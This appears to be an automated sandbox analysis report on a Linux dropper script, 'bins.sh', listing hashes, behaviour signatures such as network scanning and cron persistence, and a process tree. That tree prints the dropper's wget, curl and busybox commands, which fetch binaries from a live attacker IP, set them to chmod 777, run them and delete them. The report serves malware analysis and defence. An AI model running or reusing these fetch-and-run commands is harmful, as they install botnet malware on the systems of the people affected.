Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 20:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    14098e895eaadb9f68f8e40895c177ba

  • SHA1

    baf00e9b0740c1cc656a593b495ae13a83652365

  • SHA256

    0811630a850f847ee28ed9078eca2e17104ec41ee010ab5fe76f8998e47a4f31

  • SHA512

    ba10314092b24656d1ec96ee7e33f67c7f23412994699ec0407069d839ef2b6039cb9bb5726acb4cec4ec298174429cb9d8eac9031842dc62964abd0e5d7064f

  • SSDEEP

    192:SFme4ZpdqRh1vsk3C+ii+ZkOe6rm2m8sk3C++pdqRhNne6rm2YKxmeh:PMvsk3C+iitOe6rm2m8sk3C+Ve6rm2Z

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1897) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 9 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:639
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:641
        • /usr/bin/wget
          wget http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:643
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:654
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:664
        • /bin/chmod
          chmod 777 tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • File and Directory Permissions Modification
          PID:667
        • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          ./tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:669
        • /bin/rm
          rm tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          PID:672
        • /usr/bin/wget
          wget http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Writes file to tmp directory
          PID:673
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          ./EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Executes dropped EXE
          PID:685
        • /bin/rm
          rm EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
            PID:687
          • /usr/bin/wget
            wget http://87.120.84.230/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • Writes file to tmp directory
            PID:689
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:697
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • Writes file to tmp directory
            PID:704
          • /bin/chmod
            chmod 777 waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • File and Directory Permissions Modification
            PID:708
          • /tmp/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            ./waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
            • Executes dropped EXE
            PID:709
          • /bin/rm
            rm waMUu3wStjbh57023DqN3DVIdOczWDiUhI
            2⤵
              PID:712
            • /usr/bin/wget
              wget http://87.120.84.230/bins/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • Writes file to tmp directory
              PID:714
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:722
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • Writes file to tmp directory
              PID:734
            • /bin/chmod
              chmod 777 nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • File and Directory Permissions Modification
              PID:736
            • /tmp/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              ./nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
              • Executes dropped EXE
              PID:737
            • /bin/rm
              rm nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
              2⤵
                PID:740
              • /usr/bin/wget
                wget http://87.120.84.230/bins/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • Writes file to tmp directory
                PID:741
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:742
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • Writes file to tmp directory
                PID:749
              • /bin/chmod
                chmod 777 uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • File and Directory Permissions Modification
                PID:752
              • /tmp/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                ./uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:753
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:755
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:756
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:759
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:760
                    • /bin/rm
                      rm uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP
                      2⤵
                        PID:768
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/m65yPYhOn0U23VNPVIVfGwYfMNTBBK0lkf
                        2⤵
                          PID:771
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/m65yPYhOn0U23VNPVIVfGwYfMNTBBK0lkf
                          2⤵
                          • Checks CPU configuration
                          PID:854
                        • /bin/busybox
                          /bin/busybox wget http://87.120.84.230/bins/m65yPYhOn0U23VNPVIVfGwYfMNTBBK0lkf
                          2⤵
                          • Writes file to tmp directory
                          PID:860
                        • /bin/chmod
                          chmod 777 m65yPYhOn0U23VNPVIVfGwYfMNTBBK0lkf
                          2⤵
                          • File and Directory Permissions Modification
                          PID:870
                        • /tmp/m65yPYhOn0U23VNPVIVfGwYfMNTBBK0lkf
                          ./m65yPYhOn0U23VNPVIVfGwYfMNTBBK0lkf
                          2⤵
                          • Executes dropped EXE
                          PID:871
                        • /bin/rm
                          rm m65yPYhOn0U23VNPVIVfGwYfMNTBBK0lkf
                          2⤵
                            PID:874
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/0tqq9K0Xg03sMVSAIQYyKqWbnVPBovft3c
                            2⤵
                              PID:876
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/0tqq9K0Xg03sMVSAIQYyKqWbnVPBovft3c
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              PID:877
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/0tqq9K0Xg03sMVSAIQYyKqWbnVPBovft3c
                              2⤵
                              • Writes file to tmp directory
                              PID:880
                            • /bin/chmod
                              chmod 777 0tqq9K0Xg03sMVSAIQYyKqWbnVPBovft3c
                              2⤵
                              • File and Directory Permissions Modification
                              PID:887
                            • /tmp/0tqq9K0Xg03sMVSAIQYyKqWbnVPBovft3c
                              ./0tqq9K0Xg03sMVSAIQYyKqWbnVPBovft3c
                              2⤵
                              • Executes dropped EXE
                              PID:888
                            • /bin/rm
                              rm 0tqq9K0Xg03sMVSAIQYyKqWbnVPBovft3c
                              2⤵
                                PID:889
                              • /usr/bin/wget
                                wget http://87.120.84.230/bins/OghbgUAKyNEsOmZdynLxmcxZ7dlWBI8cwT
                                2⤵
                                  PID:891
                                • /usr/bin/curl
                                  curl -O http://87.120.84.230/bins/OghbgUAKyNEsOmZdynLxmcxZ7dlWBI8cwT
                                  2⤵
                                  • Checks CPU configuration
                                  PID:892
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/OghbgUAKyNEsOmZdynLxmcxZ7dlWBI8cwT
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:893
                                • /bin/chmod
                                  chmod 777 OghbgUAKyNEsOmZdynLxmcxZ7dlWBI8cwT
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:894
                                • /tmp/OghbgUAKyNEsOmZdynLxmcxZ7dlWBI8cwT
                                  ./OghbgUAKyNEsOmZdynLxmcxZ7dlWBI8cwT
                                  2⤵
                                  • Executes dropped EXE
                                  PID:895
                                • /bin/rm
                                  rm OghbgUAKyNEsOmZdynLxmcxZ7dlWBI8cwT
                                  2⤵
                                    PID:897
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/pEivCiHrwk9vs7xlcKSKj0QDTOgH9GuzBC
                                    2⤵
                                      PID:898
                                    • /usr/bin/curl
                                      curl -O http://87.120.84.230/bins/pEivCiHrwk9vs7xlcKSKj0QDTOgH9GuzBC
                                      2⤵
                                      • Checks CPU configuration
                                      PID:899

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/0tqq9K0Xg03sMVSAIQYyKqWbnVPBovft3c

                                    Filesize

                                    127KB

                                    MD5

                                    89077b7bd4bcafca7713be43635c4862

                                    SHA1

                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                    SHA256

                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                    SHA512

                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                  • /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /tmp/OghbgUAKyNEsOmZdynLxmcxZ7dlWBI8cwT

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/m65yPYhOn0U23VNPVIVfGwYfMNTBBK0lkf

                                    Filesize

                                    122KB

                                    MD5

                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                    SHA1

                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                    SHA256

                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                    SHA512

                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  • /tmp/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /tmp/uon8OvrrB9Frxi0geNjzNpkUWmPk8Pw5uP

                                    Filesize

                                    141KB

                                    MD5

                                    3ca8decdb1e52c423c521bfff02ac200

                                    SHA1

                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                    SHA256

                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                    SHA512

                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                  • /tmp/waMUu3wStjbh57023DqN3DVIdOczWDiUhI

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /var/spool/cron/crontabs/tmp.apGLUj

                                    Filesize

                                    210B

                                    MD5

                                    51be9837f66e90ce9b167536f0959a25

                                    SHA1

                                    64dd78681adee52b299e4dc6bb476b2f909312a2

                                    SHA256

                                    6e0aefdb6bd547ce2d0132b2968ad9febed135924546236b6bb9c4607e9655a0

                                    SHA512

                                    6a644b02e62e27a62b4b4229774258d0c70fac8c2848429ac29dd9a8f04b669d71645d71af89ebcde6f90ef203e2b05ed6c490bcee901f1771f766212d104049